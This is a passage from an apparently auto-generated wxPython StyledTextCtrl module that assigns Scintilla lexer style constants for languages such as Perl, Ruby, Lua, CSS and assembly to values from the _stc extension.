_stc.STC_HPHP_COMMENT\nSTC_HPHP_COMMENTLINE = _stc.STC_HPHP_COMMENTLINE\nSTC_HPHP_HSTRING_VARIABLE = _stc.STC_HPHP_HSTRING_VARIABLE\nSTC_HPHP_OPERATOR = _stc.STC_HPHP_OPERATOR\nSTC_PL_DEFAULT = _stc.STC_PL_DEFAULT\nSTC_PL_ERROR = _stc.STC_PL_ERROR\nSTC_PL_COMMENTLINE = _stc.STC_PL_COMMENTLINE\nSTC_PL_POD = _stc.STC_PL_POD\nSTC_PL_NUMBER = _stc.STC_PL_NUMBER\nSTC_PL_WORD = _stc.STC_PL_WORD\nSTC_PL_STRING = _stc.STC_PL_STRING\nSTC_PL_CHARACTER = _stc.STC_PL_CHARACTER\nSTC_PL_PUNCTUATION = _stc.STC_PL_PUNCTUATION\nSTC_PL_PREPROCESSOR = _stc.STC_PL_PREPROCESSOR\nSTC_PL_OPERATOR = _stc.STC_PL_OPERATOR\nSTC_PL_IDENTIFIER = _stc.STC_PL_IDENTIFIER\nSTC_PL_SCALAR = _stc.STC_PL_SCALAR\nSTC_PL_ARRAY = _stc.STC_PL_ARRAY\nSTC_PL_HASH = _stc.STC_PL_HASH\nSTC_PL_SYMBOLTABLE = _stc.STC_PL_SYMBOLTABLE\nSTC_PL_VARIABLE_INDEXER = _stc.STC_PL_VARIABLE_INDEXER\nSTC_PL_REGEX = _stc.STC_PL_REGEX\nSTC_PL_REGSUBST = _stc.STC_PL_REGSUBST\nSTC_PL_LONGQUOTE = _stc.STC_PL_LONGQUOTE\nSTC_PL_BACKTICKS = _stc.STC_PL_BACKTICKS\nSTC_PL_DATASECTION = _stc.STC_PL_DATASECTION\nSTC_PL_HERE_DELIM = _stc.STC_PL_HERE_DELIM\nSTC_PL_HERE_Q = _stc.STC_PL_HERE_Q\nSTC_PL_HERE_QQ = _stc.STC_PL_HERE_QQ\nSTC_PL_HERE_QX = _stc.STC_PL_HERE_QX\nSTC_PL_STRING_Q = _stc.STC_PL_STRING_Q\nSTC_PL_STRING_QQ = _stc.STC_PL_STRING_QQ\nSTC_PL_STRING_QX = _stc.STC_PL_STRING_QX\nSTC_PL_STRING_QR = _stc.STC_PL_STRING_QR\nSTC_PL_STRING_QW = _stc.STC_PL_STRING_QW\nSTC_PL_POD_VERB = _stc.STC_PL_POD_VERB\nSTC_RB_DEFAULT = _stc.STC_RB_DEFAULT\nSTC_RB_ERROR = _stc.STC_RB_ERROR\nSTC_RB_COMMENTLINE = _stc.STC_RB_COMMENTLINE\nSTC_RB_POD = _stc.STC_RB_POD\nSTC_RB_NUMBER = _stc.STC_RB_NUMBER\nSTC_RB_WORD = _stc.STC_RB_WORD\nSTC_RB_STRING = _stc.STC_RB_STRING\nSTC_RB_CHARACTER = _stc.STC_RB_CHARACTER\nSTC_RB_CLASSNAME = _stc.STC_RB_CLASSNAME\nSTC_RB_DEFNAME = _stc.STC_RB_DEFNAME\nSTC_RB_OPERATOR = _stc.STC_RB_OPERATOR\nSTC_RB_IDENTIFIER = _stc.STC_RB_IDENTIFIER\nSTC_RB_REGEX = _stc.STC_RB_REGEX\nSTC_RB_GLOBAL = _stc.STC_RB_GLOBAL\nSTC_RB_SYMBOL = _stc.STC_RB_SYMBOL\nSTC_RB_MODULE_NAME = _stc.STC_RB_MODULE_NAME\nSTC_RB_INSTANCE_VAR = _stc.STC_RB_INSTANCE_VAR\nSTC_RB_CLASS_VAR = _stc.STC_RB_CLASS_VAR\nSTC_RB_BACKTICKS = _stc.STC_RB_BACKTICKS\nSTC_RB_DATASECTION = _stc.STC_RB_DATASECTION\nSTC_RB_HERE_DELIM = _stc.STC_RB_HERE_DELIM\nSTC_RB_HERE_Q = _stc.STC_RB_HERE_Q\nSTC_RB_HERE_QQ = _stc.STC_RB_HERE_QQ\nSTC_RB_HERE_QX = _stc.STC_RB_HERE_QX\nSTC_RB_STRING_Q = _stc.STC_RB_STRING_Q\nSTC_RB_STRING_QQ = _stc.STC_RB_STRING_QQ\nSTC_RB_STRING_QX = _stc.STC_RB_STRING_QX\nSTC_RB_STRING_QR = _stc.STC_RB_STRING_QR\nSTC_RB_STRING_QW = _stc.STC_RB_STRING_QW\nSTC_RB_WORD_DEMOTED = _stc.STC_RB_WORD_DEMOTED\nSTC_RB_STDIN = _stc.STC_RB_STDIN\nSTC_RB_STDOUT = _stc.STC_RB_STDOUT\nSTC_RB_STDERR = _stc.STC_RB_STDERR\nSTC_RB_UPPER_BOUND = _stc.STC_RB_UPPER_BOUND\nSTC_B_DEFAULT = _stc.STC_B_DEFAULT\nSTC_B_COMMENT = _stc.STC_B_COMMENT\nSTC_B_NUMBER = _stc.STC_B_NUMBER\nSTC_B_KEYWORD = _stc.STC_B_KEYWORD\nSTC_B_STRING = _stc.STC_B_STRING\nSTC_B_PREPROCESSOR = _stc.STC_B_PREPROCESSOR\nSTC_B_OPERATOR = _stc.STC_B_OPERATOR\nSTC_B_IDENTIFIER = _stc.STC_B_IDENTIFIER\nSTC_B_DATE = _stc.STC_B_DATE\nSTC_B_STRINGEOL = _stc.STC_B_STRINGEOL\nSTC_B_KEYWORD2 = _stc.STC_B_KEYWORD2\nSTC_B_KEYWORD3 = _stc.STC_B_KEYWORD3\nSTC_B_KEYWORD4 = _stc.STC_B_KEYWORD4\nSTC_B_CONSTANT = _stc.STC_B_CONSTANT\nSTC_B_ASM = _stc.STC_B_ASM\nSTC_B_LABEL = _stc.STC_B_LABEL\nSTC_B_ERROR = _stc.STC_B_ERROR\nSTC_B_HEXNUMBER = _stc.STC_B_HEXNUMBER\nSTC_B_BINNUMBER = _stc.STC_B_BINNUMBER\nSTC_PROPS_DEFAULT = _stc.STC_PROPS_DEFAULT\nSTC_PROPS_COMMENT = _stc.STC_PROPS_COMMENT\nSTC_PROPS_SECTION = _stc.STC_PROPS_SECTION\nSTC_PROPS_ASSIGNMENT = _stc.STC_PROPS_ASSIGNMENT\nSTC_PROPS_DEFVAL = _stc.STC_PROPS_DEFVAL\nSTC_PROPS_KEY = _stc.STC_PROPS_KEY\nSTC_L_DEFAULT = _stc.STC_L_DEFAULT\nSTC_L_COMMAND = _stc.STC_L_COMMAND\nSTC_L_TAG = _stc.STC_L_TAG\nSTC_L_MATH = _stc.STC_L_MATH\nSTC_L_COMMENT = _stc.STC_L_COMMENT\nSTC_LUA_DEFAULT = _stc.STC_LUA_DEFAULT\nSTC_LUA_COMMENT = _stc.STC_LUA_COMMENT\nSTC_LUA_COMMENTLINE = _stc.STC_LUA_COMMENTLINE\nSTC_LUA_COMMENTDOC = _stc.STC_LUA_COMMENTDOC\nSTC_LUA_NUMBER = _stc.STC_LUA_NUMBER\nSTC_LUA_WORD = _stc.STC_LUA_WORD\nSTC_LUA_STRING = _stc.STC_LUA_STRING\nSTC_LUA_CHARACTER = _stc.STC_LUA_CHARACTER\nSTC_LUA_LITERALSTRING = _stc.STC_LUA_LITERALSTRING\nSTC_LUA_PREPROCESSOR = _stc.STC_LUA_PREPROCESSOR\nSTC_LUA_OPERATOR = _stc.STC_LUA_OPERATOR\nSTC_LUA_IDENTIFIER = _stc.STC_LUA_IDENTIFIER\nSTC_LUA_STRINGEOL = _stc.STC_LUA_STRINGEOL\nSTC_LUA_WORD2 = _stc.STC_LUA_WORD2\nSTC_LUA_WORD3 = _stc.STC_LUA_WORD3\nSTC_LUA_WORD4 = _stc.STC_LUA_WORD4\nSTC_LUA_WORD5 = _stc.STC_LUA_WORD5\nSTC_LUA_WORD6 = _stc.STC_LUA_WORD6\nSTC_LUA_WORD7 = _stc.STC_LUA_WORD7\nSTC_LUA_WORD8 = _stc.STC_LUA_WORD8\nSTC_ERR_DEFAULT = _stc.STC_ERR_DEFAULT\nSTC_ERR_PYTHON = _stc.STC_ERR_PYTHON\nSTC_ERR_GCC = _stc.STC_ERR_GCC\nSTC_ERR_MS = _stc.STC_ERR_MS\nSTC_ERR_CMD = _stc.STC_ERR_CMD\nSTC_ERR_BORLAND = _stc.STC_ERR_BORLAND\nSTC_ERR_PERL = _stc.STC_ERR_PERL\nSTC_ERR_NET = _stc.STC_ERR_NET\nSTC_ERR_LUA = _stc.STC_ERR_LUA\nSTC_ERR_CTAG = _stc.STC_ERR_CTAG\nSTC_ERR_DIFF_CHANGED = _stc.STC_ERR_DIFF_CHANGED\nSTC_ERR_DIFF_ADDITION = _stc.STC_ERR_DIFF_ADDITION\nSTC_ERR_DIFF_DELETION = _stc.STC_ERR_DIFF_DELETION\nSTC_ERR_DIFF_MESSAGE = _stc.STC_ERR_DIFF_MESSAGE\nSTC_ERR_PHP = _stc.STC_ERR_PHP\nSTC_ERR_ELF = _stc.STC_ERR_ELF\nSTC_ERR_IFC = _stc.STC_ERR_IFC\nSTC_ERR_IFORT = _stc.STC_ERR_IFORT\nSTC_ERR_ABSF = _stc.STC_ERR_ABSF\nSTC_ERR_TIDY = _stc.STC_ERR_TIDY\nSTC_ERR_JAVA_STACK = _stc.STC_ERR_JAVA_STACK\nSTC_BAT_DEFAULT = _stc.STC_BAT_DEFAULT\nSTC_BAT_COMMENT = _stc.STC_BAT_COMMENT\nSTC_BAT_WORD = _stc.STC_BAT_WORD\nSTC_BAT_LABEL = _stc.STC_BAT_LABEL\nSTC_BAT_HIDE = _stc.STC_BAT_HIDE\nSTC_BAT_COMMAND = _stc.STC_BAT_COMMAND\nSTC_BAT_IDENTIFIER = _stc.STC_BAT_IDENTIFIER\nSTC_BAT_OPERATOR = _stc.STC_BAT_OPERATOR\nSTC_MAKE_DEFAULT = _stc.STC_MAKE_DEFAULT\nSTC_MAKE_COMMENT = _stc.STC_MAKE_COMMENT\nSTC_MAKE_PREPROCESSOR = _stc.STC_MAKE_PREPROCESSOR\nSTC_MAKE_IDENTIFIER = _stc.STC_MAKE_IDENTIFIER\nSTC_MAKE_OPERATOR = _stc.STC_MAKE_OPERATOR\nSTC_MAKE_TARGET = _stc.STC_MAKE_TARGET\nSTC_MAKE_IDEOL = _stc.STC_MAKE_IDEOL\nSTC_DIFF_DEFAULT = _stc.STC_DIFF_DEFAULT\nSTC_DIFF_COMMENT = _stc.STC_DIFF_COMMENT\nSTC_DIFF_COMMAND = _stc.STC_DIFF_COMMAND\nSTC_DIFF_HEADER = _stc.STC_DIFF_HEADER\nSTC_DIFF_POSITION = _stc.STC_DIFF_POSITION\nSTC_DIFF_DELETED = _stc.STC_DIFF_DELETED\nSTC_DIFF_ADDED = _stc.STC_DIFF_ADDED\nSTC_CONF_DEFAULT = _stc.STC_CONF_DEFAULT\nSTC_CONF_COMMENT = _stc.STC_CONF_COMMENT\nSTC_CONF_NUMBER = _stc.STC_CONF_NUMBER\nSTC_CONF_IDENTIFIER = _stc.STC_CONF_IDENTIFIER\nSTC_CONF_EXTENSION = _stc.STC_CONF_EXTENSION\nSTC_CONF_PARAMETER = _stc.STC_CONF_PARAMETER\nSTC_CONF_STRING = _stc.STC_CONF_STRING\nSTC_CONF_OPERATOR = _stc.STC_CONF_OPERATOR\nSTC_CONF_IP = _stc.STC_CONF_IP\nSTC_CONF_DIRECTIVE = _stc.STC_CONF_DIRECTIVE\nSTC_AVE_DEFAULT = _stc.STC_AVE_DEFAULT\nSTC_AVE_COMMENT = _stc.STC_AVE_COMMENT\nSTC_AVE_NUMBER = _stc.STC_AVE_NUMBER\nSTC_AVE_WORD = _stc.STC_AVE_WORD\nSTC_AVE_STRING = _stc.STC_AVE_STRING\nSTC_AVE_ENUM = _stc.STC_AVE_ENUM\nSTC_AVE_STRINGEOL = _stc.STC_AVE_STRINGEOL\nSTC_AVE_IDENTIFIER = _stc.STC_AVE_IDENTIFIER\nSTC_AVE_OPERATOR = _stc.STC_AVE_OPERATOR\nSTC_AVE_WORD1 = _stc.STC_AVE_WORD1\nSTC_AVE_WORD2 = _stc.STC_AVE_WORD2\nSTC_AVE_WORD3 = _stc.STC_AVE_WORD3\nSTC_AVE_WORD4 = _stc.STC_AVE_WORD4\nSTC_AVE_WORD5 = _stc.STC_AVE_WORD5\nSTC_AVE_WORD6 = _stc.STC_AVE_WORD6\nSTC_ADA_DEFAULT = _stc.STC_ADA_DEFAULT\nSTC_ADA_WORD = _stc.STC_ADA_WORD\nSTC_ADA_IDENTIFIER = _stc.STC_ADA_IDENTIFIER\nSTC_ADA_NUMBER = _stc.STC_ADA_NUMBER\nSTC_ADA_DELIMITER = _stc.STC_ADA_DELIMITER\nSTC_ADA_CHARACTER = _stc.STC_ADA_CHARACTER\nSTC_ADA_CHARACTEREOL = _stc.STC_ADA_CHARACTEREOL\nSTC_ADA_STRING = _stc.STC_ADA_STRING\nSTC_ADA_STRINGEOL = _stc.STC_ADA_STRINGEOL\nSTC_ADA_LABEL = _stc.STC_ADA_LABEL\nSTC_ADA_COMMENTLINE = _stc.STC_ADA_COMMENTLINE\nSTC_ADA_ILLEGAL = _stc.STC_ADA_ILLEGAL\nSTC_BAAN_DEFAULT = _stc.STC_BAAN_DEFAULT\nSTC_BAAN_COMMENT = _stc.STC_BAAN_COMMENT\nSTC_BAAN_COMMENTDOC = _stc.STC_BAAN_COMMENTDOC\nSTC_BAAN_NUMBER = _stc.STC_BAAN_NUMBER\nSTC_BAAN_WORD = _stc.STC_BAAN_WORD\nSTC_BAAN_STRING = _stc.STC_BAAN_STRING\nSTC_BAAN_PREPROCESSOR = _stc.STC_BAAN_PREPROCESSOR\nSTC_BAAN_OPERATOR = _stc.STC_BAAN_OPERATOR\nSTC_BAAN_IDENTIFIER = _stc.STC_BAAN_IDENTIFIER\nSTC_BAAN_STRINGEOL = _stc.STC_BAAN_STRINGEOL\nSTC_BAAN_WORD2 = _stc.STC_BAAN_WORD2\nSTC_LISP_DEFAULT = _stc.STC_LISP_DEFAULT\nSTC_LISP_COMMENT = _stc.STC_LISP_COMMENT\nSTC_LISP_NUMBER = _stc.STC_LISP_NUMBER\nSTC_LISP_KEYWORD = _stc.STC_LISP_KEYWORD\nSTC_LISP_KEYWORD_KW = _stc.STC_LISP_KEYWORD_KW\nSTC_LISP_SYMBOL = _stc.STC_LISP_SYMBOL\nSTC_LISP_STRING = _stc.STC_LISP_STRING\nSTC_LISP_STRINGEOL = _stc.STC_LISP_STRINGEOL\nSTC_LISP_IDENTIFIER = _stc.STC_LISP_IDENTIFIER\nSTC_LISP_OPERATOR = _stc.STC_LISP_OPERATOR\nSTC_LISP_SPECIAL = _stc.STC_LISP_SPECIAL\nSTC_LISP_MULTI_COMMENT = _stc.STC_LISP_MULTI_COMMENT\nSTC_EIFFEL_DEFAULT = _stc.STC_EIFFEL_DEFAULT\nSTC_EIFFEL_COMMENTLINE = _stc.STC_EIFFEL_COMMENTLINE\nSTC_EIFFEL_NUMBER = _stc.STC_EIFFEL_NUMBER\nSTC_EIFFEL_WORD = _stc.STC_EIFFEL_WORD\nSTC_EIFFEL_STRING = _stc.STC_EIFFEL_STRING\nSTC_EIFFEL_CHARACTER = _stc.STC_EIFFEL_CHARACTER\nSTC_EIFFEL_OPERATOR = _stc.STC_EIFFEL_OPERATOR\nSTC_EIFFEL_IDENTIFIER = _stc.STC_EIFFEL_IDENTIFIER\nSTC_EIFFEL_STRINGEOL = _stc.STC_EIFFEL_STRINGEOL\nSTC_NNCRONTAB_DEFAULT = _stc.STC_NNCRONTAB_DEFAULT\nSTC_NNCRONTAB_COMMENT = _stc.STC_NNCRONTAB_COMMENT\nSTC_NNCRONTAB_TASK = _stc.STC_NNCRONTAB_TASK\nSTC_NNCRONTAB_SECTION = _stc.STC_NNCRONTAB_SECTION\nSTC_NNCRONTAB_KEYWORD = _stc.STC_NNCRONTAB_KEYWORD\nSTC_NNCRONTAB_MODIFIER = _stc.STC_NNCRONTAB_MODIFIER\nSTC_NNCRONTAB_ASTERISK = _stc.STC_NNCRONTAB_ASTERISK\nSTC_NNCRONTAB_NUMBER = _stc.STC_NNCRONTAB_NUMBER\nSTC_NNCRONTAB_STRING = _stc.STC_NNCRONTAB_STRING\nSTC_NNCRONTAB_ENVIRONMENT = _stc.STC_NNCRONTAB_ENVIRONMENT\nSTC_NNCRONTAB_IDENTIFIER = _stc.STC_NNCRONTAB_IDENTIFIER\nSTC_FORTH_DEFAULT = _stc.STC_FORTH_DEFAULT\nSTC_FORTH_COMMENT = _stc.STC_FORTH_COMMENT\nSTC_FORTH_COMMENT_ML = _stc.STC_FORTH_COMMENT_ML\nSTC_FORTH_IDENTIFIER = _stc.STC_FORTH_IDENTIFIER\nSTC_FORTH_CONTROL = _stc.STC_FORTH_CONTROL\nSTC_FORTH_KEYWORD = _stc.STC_FORTH_KEYWORD\nSTC_FORTH_DEFWORD = _stc.STC_FORTH_DEFWORD\nSTC_FORTH_PREWORD1 = _stc.STC_FORTH_PREWORD1\nSTC_FORTH_PREWORD2 = _stc.STC_FORTH_PREWORD2\nSTC_FORTH_NUMBER = _stc.STC_FORTH_NUMBER\nSTC_FORTH_STRING = _stc.STC_FORTH_STRING\nSTC_FORTH_LOCALE = _stc.STC_FORTH_LOCALE\nSTC_MATLAB_DEFAULT = _stc.STC_MATLAB_DEFAULT\nSTC_MATLAB_COMMENT = _stc.STC_MATLAB_COMMENT\nSTC_MATLAB_COMMAND = _stc.STC_MATLAB_COMMAND\nSTC_MATLAB_NUMBER = _stc.STC_MATLAB_NUMBER\nSTC_MATLAB_KEYWORD = _stc.STC_MATLAB_KEYWORD\nSTC_MATLAB_STRING = _stc.STC_MATLAB_STRING\nSTC_MATLAB_OPERATOR = _stc.STC_MATLAB_OPERATOR\nSTC_MATLAB_IDENTIFIER = _stc.STC_MATLAB_IDENTIFIER\nSTC_MATLAB_DOUBLEQUOTESTRING = _stc.STC_MATLAB_DOUBLEQUOTESTRING\nSTC_SCRIPTOL_DEFAULT = _stc.STC_SCRIPTOL_DEFAULT\nSTC_SCRIPTOL_WHITE = _stc.STC_SCRIPTOL_WHITE\nSTC_SCRIPTOL_COMMENTLINE = _stc.STC_SCRIPTOL_COMMENTLINE\nSTC_SCRIPTOL_PERSISTENT = _stc.STC_SCRIPTOL_PERSISTENT\nSTC_SCRIPTOL_CSTYLE = _stc.STC_SCRIPTOL_CSTYLE\nSTC_SCRIPTOL_COMMENTBLOCK = _stc.STC_SCRIPTOL_COMMENTBLOCK\nSTC_SCRIPTOL_NUMBER = _stc.STC_SCRIPTOL_NUMBER\nSTC_SCRIPTOL_STRING = _stc.STC_SCRIPTOL_STRING\nSTC_SCRIPTOL_CHARACTER = _stc.STC_SCRIPTOL_CHARACTER\nSTC_SCRIPTOL_STRINGEOL = _stc.STC_SCRIPTOL_STRINGEOL\nSTC_SCRIPTOL_KEYWORD = _stc.STC_SCRIPTOL_KEYWORD\nSTC_SCRIPTOL_OPERATOR = _stc.STC_SCRIPTOL_OPERATOR\nSTC_SCRIPTOL_IDENTIFIER = _stc.STC_SCRIPTOL_IDENTIFIER\nSTC_SCRIPTOL_TRIPLE = _stc.STC_SCRIPTOL_TRIPLE\nSTC_SCRIPTOL_CLASSNAME = _stc.STC_SCRIPTOL_CLASSNAME\nSTC_SCRIPTOL_PREPROCESSOR = _stc.STC_SCRIPTOL_PREPROCESSOR\nSTC_ASM_DEFAULT = _stc.STC_ASM_DEFAULT\nSTC_ASM_COMMENT = _stc.STC_ASM_COMMENT\nSTC_ASM_NUMBER = _stc.STC_ASM_NUMBER\nSTC_ASM_STRING = _stc.STC_ASM_STRING\nSTC_ASM_OPERATOR = _stc.STC_ASM_OPERATOR\nSTC_ASM_IDENTIFIER = _stc.STC_ASM_IDENTIFIER\nSTC_ASM_CPUINSTRUCTION = _stc.STC_ASM_CPUINSTRUCTION\nSTC_ASM_MATHINSTRUCTION = _stc.STC_ASM_MATHINSTRUCTION\nSTC_ASM_REGISTER = _stc.STC_ASM_REGISTER\nSTC_ASM_DIRECTIVE = _stc.STC_ASM_DIRECTIVE\nSTC_ASM_DIRECTIVEOPERAND = _stc.STC_ASM_DIRECTIVEOPERAND\nSTC_ASM_COMMENTBLOCK = _stc.STC_ASM_COMMENTBLOCK\nSTC_ASM_CHARACTER = _stc.STC_ASM_CHARACTER\nSTC_ASM_STRINGEOL = _stc.STC_ASM_STRINGEOL\nSTC_ASM_EXTINSTRUCTION = _stc.STC_ASM_EXTINSTRUCTION\nSTC_F_DEFAULT = _stc.STC_F_DEFAULT\nSTC_F_COMMENT = _stc.STC_F_COMMENT\nSTC_F_NUMBER = _stc.STC_F_NUMBER\nSTC_F_STRING1 = _stc.STC_F_STRING1\nSTC_F_STRING2 = _stc.STC_F_STRING2\nSTC_F_STRINGEOL = _stc.STC_F_STRINGEOL\nSTC_F_OPERATOR = _stc.STC_F_OPERATOR\nSTC_F_IDENTIFIER = _stc.STC_F_IDENTIFIER\nSTC_F_WORD = _stc.STC_F_WORD\nSTC_F_WORD2 = _stc.STC_F_WORD2\nSTC_F_WORD3 = _stc.STC_F_WORD3\nSTC_F_PREPROCESSOR = _stc.STC_F_PREPROCESSOR\nSTC_F_OPERATOR2 = _stc.STC_F_OPERATOR2\nSTC_F_LABEL = _stc.STC_F_LABEL\nSTC_F_CONTINUATION = _stc.STC_F_CONTINUATION\nSTC_CSS_DEFAULT = _stc.STC_CSS_DEFAULT\nSTC_CSS_TAG = _stc.STC_CSS_TAG\nSTC_CSS_CLASS = _stc.STC_CSS_CLASS\nSTC_CSS_PSEUDOCLASS = _stc.STC_CSS_PSEUDOCLASS\nSTC_CSS_UNKNOWN_PSEUDOCLASS = _stc.STC_CSS_UNKNOWN_PSEUDOCLASS\nSTC_CSS_OPERATOR = _stc.STC_CSS_OPERATOR\nSTC_CSS_IDENTIFIER = _stc.STC_CSS_IDENTIFIER\nSTC_CSS_UNKNOWN_IDENTIFIER = _stc.STC_CSS_UNKNOWN_IDENTIFIER\nSTC_CSS_VALUE = _stc.STC_CSS_VALUE\nSTC_CSS_COMMENT = _stc.STC_CSS_COMMENT\nSTC_CSS_ID = _stc.STC_CSS_ID\nSTC_CSS_IMPORTANT = _stc.STC_CSS_IMPORTANT\nSTC_CSS_DIRECTIVE = _stc.STC_CSS_DIRECTIVE\nSTC_CSS_DOUBLESTRING = _stc.STC_CSS_DOUBLESTRING\nSTC_CSS_SINGLESTRING = _stc.STC_CSS_SINGLESTRING\nSTC_CSS_IDENTIFIER2 = _stc.STC_CSS_IDENTIFIER2\nSTC_CSS_ATTRIBUTE = _stc.STC_CSS_ATTRIBUTE\nSTC_POV_DEFAULT = _stc.STC_POV_DEFAULT\nSTC_POV_COMMENT = _stc.STC_POV_COMMENT\nSTC_POV_COMMENTLINE = _stc.STC_POV_COMMENTLINE\nSTC_POV_NUMBER = _stc.STC_POV_NUMBER\nSTC_POV_OPERATOR = _stc.STC_POV_OPERATOR\nSTC_POV_IDENTIFIER = _stc.STC_POV_IDENTIFIER\nSTC_POV_STRING = _stc.STC_POV_STRING\nSTC_POV_STRINGEOL = _stc.STC_POV_STRINGEOL\nSTC_POV_DIRECTIVE = _stc.STC_POV_DIRECTIVE\nSTC_POV_BADDIRECTIVE = _stc.STC_POV_BADDIRECTIVE\nSTC_POV_WORD2 = _stc.STC_POV_WORD2\nSTC_POV_WORD3 = _stc.STC_POV_WORD3\nSTC_POV_WORD4 = _stc.STC_POV_WORD4\nSTC_POV_WORD5 = _stc.STC_POV_WORD5\nSTC_POV_WORD6 = _stc.STC_POV_WORD6\nSTC_POV_WORD7 = _stc.STC_POV_WORD7\nSTC_POV_WORD8 = _stc.STC_POV_WORD8\nSTC_LOUT_DEFAULT = _stc.STC_LOUT_DEFAULT\nSTC_LOUT_COMMENT = _stc.STC_LOUT_COMMENT\nSTC_LOUT_NUMBER = _stc.STC_LOUT_NUMBER\nSTC_LOUT_WORD = _stc.STC_LOUT_WORD\nSTC_LOUT_WORD2 = _stc.STC_LOUT_WORD2\nSTC_LOUT_WORD3 = _stc.STC_LOUT_WORD3\nSTC_LOUT_WORD4 = _stc.STC_LOUT_WORD4\nSTC_LOUT_STRING = _stc.STC_LOUT_STRING\nSTC_LOUT_OPERATOR = _stc.STC_LOUT_OPERATOR\nSTC_LOUT_IDENTIFIER = _stc.STC_LOUT_IDENTIFIER\nSTC_LOUT_STRINGEOL = _stc.STC_LOUT_STRINGEOL\nSTC_ESCRIPT_DEFAULT = _stc.STC_ESCRIPT_DEFAULT\nSTC_ESCRIPT_COMMENT = _stc.STC_ESCRIPT_COMMENT\nSTC_ESCRIPT_COMMENTLINE = _stc.STC_ESCRIPT_COMMENTLINE\nSTC_ESCRIPT_COMMENTDOC = _stc.STC_ESCRIPT_COMMENTDOC\nSTC_ESCRIPT_NUMBER = _stc.STC_ESCRIPT_NUMBER\nSTC_ESCRIPT_WORD = _stc.STC_ESCRIPT_WORD\nSTC_ESCRIPT_STRING = _stc.STC_ESCRIPT_STRING\nSTC_ESCRIPT_OPERATOR = _stc.STC_ESCRIPT_OPERATOR\nSTC_ESCRIPT_IDENTIFIER = _stc.STC_ESCRIPT_IDENTIFIER\nSTC_ESCRIPT_BRACE = _stc.STC_ESCRIPT_BRACE\nSTC_ESCRIPT_WORD2 = _stc.STC_ESCRIPT_WORD2\nSTC_ESCRIPT_WORD3 = _stc.STC_ESCRIPT_WORD3\nSTC_PS_DEFAULT = _stc.STC_PS_DEFAULT\nSTC_PS_COMMENT = _stc.STC_PS_COMMENT\nSTC_PS_DSC_COMMENT = _stc.STC_PS_DSC_COMMENT\nSTC_PS_DSC_VALUE = _stc.STC_PS_DSC_VALUE\nSTC_PS_NUMBER = _stc.STC_PS_NUMBER\nSTC_PS_NAME = _stc.STC_PS_NAME\nSTC_PS_KEYWORD = _stc.STC_PS_KEYWORD\nSTC_PS_LITERAL = _stc.STC_PS_LITERAL\nSTC_PS_IMMEVAL = _stc.STC_PS_IMMEVAL\nSTC_PS_PAREN_ARRAY = _stc.STC_PS_PAREN_ARRAY\nSTC_PS_PAREN_DICT = _stc.STC_PS_PAREN_DICT\nSTC_PS_PAREN_PROC = _stc.STC_PS_PAREN_PROC\nSTC_PS_TEXT = _stc.STC_PS_TEXT\nSTC_PS_HEXSTRING = _stc.STC_PS_HEXSTRING\nSTC_PS_BASE85STRING = _stc.STC_PS_BASE85STRING\nSTC_PS_BADSTRINGCHAR = _stc.STC_PS_BADSTRINGCHAR\nSTC_NSIS_DEFAULT = _stc.STC_NSIS_DEFAULT\nSTC_NSIS_COMMENT = _stc.STC_NSIS_COMMENT\nSTC_NSIS_STRINGDQ = _stc.STC_NSIS_STRINGDQ\nSTC_NSIS_STRINGLQ = _stc.STC_NSIS_STRINGLQ\nSTC_NSIS_STRINGRQ = _stc.STC_NSIS_STRINGRQ\nSTC_NSIS_FUNCTION = _stc.STC_NSIS_FUNCTION\nSTC_NSIS_VARIABLE = _stc.STC_NSIS_VARIABLE\nSTC_NSIS_LABEL = _stc.STC_NSIS_LABEL\nSTC_NSIS_USERDEFINED = _stc.STC_NSIS_USERDEFINED\nSTC_NSIS_SECTIONDEF = _stc.STC_NSIS_SECTIONDEF\nSTC_NSIS_SUBSECTIONDEF = _stc.STC_NSIS_SUBSECTIONDEF\nSTC_NSIS_IFDEFINEDEF = _stc.STC_NSIS_IFDEFINEDEF\nSTC_NSIS_MACRODEF = _stc.STC_NSIS_MACRODEF\nSTC_NSIS_STRINGVAR = _stc.STC_NSIS_STRINGVAR\nSTC_NSIS_NUMBER = _stc.STC_NSIS_NUMBER\nSTC_NSIS_SECTIONGROUP = _stc.STC_NSIS_SECTIONGROUP\nSTC_NSIS_PAGEEX = _stc.STC_NSIS_PAGEEX\nSTC_NSIS_FUNCTIONDEF = _stc.STC_NSIS_FUNCTIONDEF\nSTC_NSIS_COMMENTBOX = _stc.STC_NSIS_COMMENTBOX\nSTC_MMIXAL_LEADWS = _stc.STC_MMIXAL_LEADWS\nSTC_MMIXAL_COMMENT = _stc.STC_MMIXAL_COMMENT\nSTC_MMIXAL_LABEL = _stc.STC_MMIXAL_LABEL\nSTC_MMIXAL_OPCODE = _stc.STC_MMIXAL_OPCODE\nSTC_MMIXAL_OPCODE_PRE = _stc.STC_MMIXAL_OPCODE_PRE\nSTC_MMIXAL_OPCODE_VALID = _stc.STC_MMIXAL_OPCODE_VALID\nSTC_MMIXAL_OPCODE_UNKNOWN = _stc.STC_MMIXAL_OPCODE_UNKNOWN\nSTC_MMIXAL_OPCODE_POST = _stc.STC_MMIXAL_OPCODE_POST\nSTC_MMIXAL_OPERANDS = _stc.STC_MMIXAL_OPERANDS\nSTC_MMIXAL_NUMBER = _stc.STC_MMIXAL_NUMBER\nSTC_MMIXAL_REF = _stc.STC_MMIXAL_REF\nSTC_MMIXAL_CHAR = _stc.STC_MMIXAL_CHAR\nSTC_MMIXAL_STRING = _stc.STC_MMIXAL_STRING\nSTC_MMIXAL_REGISTER = _stc.STC_MMIXAL_REGISTER\nSTC_MMIXAL_HEX = _stc.STC_MMIXAL_HEX\nSTC_MMIXAL_OPERATOR = _stc.STC_MMIXAL_OPERATOR\nSTC_MMIXAL_SYMBOL = _stc.STC_MMIXAL_SYMBOL\nSTC_MMIXAL_INCLUDE = _stc.STC_MMIXAL_INCLUDE\nSTC_CLW_DEFAULT = _stc.STC_CLW_DEFAULT\nSTC_CLW_LABEL = _stc.STC_CLW_LABEL\nSTC_CLW_COMMENT = _stc.STC_CLW_COMMENT\nSTC_CLW_STRING = _stc.STC_CLW_STRING\nSTC_CLW_USER_IDENTIFIER = _stc.STC_CLW_USER_IDENTIFIER\nSTC_CLW_INTEGER_CONSTANT = _stc.STC_CLW_INTEGER_CONSTANT\nSTC_CLW_REAL_CONSTANT = _stc.STC_CLW_REAL_CONSTANT\nSTC_CLW_PICTURE_STRING = _stc.STC_CLW_PICTURE_STRING\nSTC_CLW_KEYWORD = _stc.STC_CLW_KEYWORD\nSTC_CLW_COMPILER_DIRECTIVE = 